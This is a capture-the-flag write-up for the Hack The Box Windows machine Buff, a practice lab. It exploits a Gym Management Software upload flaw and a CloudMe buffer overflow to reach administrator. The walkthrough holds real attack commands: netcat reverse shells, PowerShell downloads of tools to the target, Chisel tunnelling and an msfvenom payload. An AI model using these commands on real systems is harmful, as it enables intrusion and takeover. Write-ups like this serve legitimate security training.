Hack The Box - Buff Writeup

Hack The Box - Buff Writeup

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Buff is an Easy level Windows machine. The box statistics show us that we will be focusing heavily on existing CVEs, while working on enumeration skills in a somewhat realistic setup.
Buff Statistics

Information Gathering


By scanning the tartget IP with Nmap, we’re able to find what ports are open, while fingerprinting the services running and their versions.
>> nmap -p7680,8080 -sC -sV -Pn -oA Extracts/Buff Nmap

Mrb3n’s Bro Hut

Navigating to leads us to what appears to be a pretty basic gym website. We can see infomation around their offerings, pricing, and facilities. One piece of information that stands out can be seen on the Contact page.
Buff Statistics


By researching the Gym Management Software version 1.0, we can see there are a wide range of reported vulnerabilities. An Unauthenticated RCE exploit can be found on Exploit-DB, and looks to be promising.

Script Usage

After downloading the exploit to our machine, we can learn more about its usage with the following command:
>> python 48506.py Shell Help

Running the Script

Passing in our target server, the exploit runs successfully, and we gain shell access.
>> python 48506.py Shell Run

How it works

Reading through the exploit, it appears that the Gym Management Software is missing user authentication on its file upload at upload.php. Combining this with a few tricks to bypass any file upload restrictions, and we’re able to achieve a basic web shell.

File Restriction Bypasses:

  • Filename.php.png: If the server is only checking the last file extension, we’re able to successfully pass the check by appending “.png” to the file name.
  • image/png: By setting the content-type to image/png, we’re telling the server that the file is an image, nothing suspicious to see here.
  • Magic Bytes: In case the server decides to check the content of the file, rather than just the filename and content-type, we’re passing it a series of “magic bytes” which act as a file signature. The bytes sent in this case, \x89\x50\x4e\x47\x0d\x0a\x1a, represent a PNG file.
    Shell Code 1


User Flag

We appear to be running as the user shaun. Let’s see if we can get the User Flag.
>> type C:\Users\shaun\Desktop\user.txt User Flag

Upgrade Shell

Before we get too far into the box, let’s upgrade our shell using Netcat. The current shell is very basic and unable to do many of the tasks we may need when enumerating or trying to escalate privileges later.

Set up local server to get nc.exe onto the target box. Make sure that you’ve got a local copy of nc.exe in whatever directory you’re hosting from.
>> python -m SimpleHTTPServer

Downloading Netcat
>> powershell -c "Invoke-WebRequest -Uri '' -OutFile 'nc.exe'"

Setting up a listener on our local machine
>> nc -lvnp 3333

Starting Netcat from taget box
>> .\nc.exe 3333 -e cmd.exe

Looking Around

Its possible that there are additional users to pivot to, lets check.
>> dir C:\Users
User Enum

With no additional users to work with, we can continue looking through shaun’s directories
>> dir C:\Users\shaun\Downloads
Downloads Enum

CloudMe_1112.exe looks interesting. A little research shows it runs on port 8888 by default. Let’s see if there’s anything listening there.
>> netstat -a
Network Enum

By checking the list of processes running, we can see if CloudMe is already running and if it’s process is owned by another user (perhaps Admin?).
>> tasklist /v
Process Enum

It looks like CloudMe is running as a user other than shaun. This is promising, since Administrator was the only other account we found.

Privilege Escalation

If the name “Buff” wasn’t enough of a hint of what’s to come, you may be surprised to find that CloudMe 1.11.2 is vulnerable to a Buffer Overflow. It first requires us to get network access to the service running on port 8888. Let’s get that set up with a small TCP/UDP Tunneling tool called Chisel.

Tunnelling Port 8888

Start Listener on local machine over port 8800
>> sudo ./chisel server -p 8800 -reverse

Download Chisel.exe to target box
>> powershell -c "Invoke-WebRequest -Uri '' -OutFile 'chisel.exe'"

Tunnel connection from target box to local machine
>> chisel.exe client R:8888:

PrivEsc Tunnel

Generating Payload

The exploit we’re using is currently set up to launch calc.exe. By using msfvenom, we can create a custom payload to do anything we want. Because the
>> msfvenom -a x86 -p windows/exec CMD='C:\xampp\htdocs\gym\upload\nc.exe 4444 -e cmd.exe' -b '\x00\x0A\x0D' -f python -v payload
Payload Generation


With our updated exploit, we’ll be able to trigger the buffer overflow and

Set up another listener on our local machine
>> nc -lvnp 4444

Running completed exploit
>> python 48389.py
Root Shell

Root Flag

With our administrative shell, we’re able to retrieve the flag
>> type C:\Users\Administrator\Desktop\root.txt
Root Flag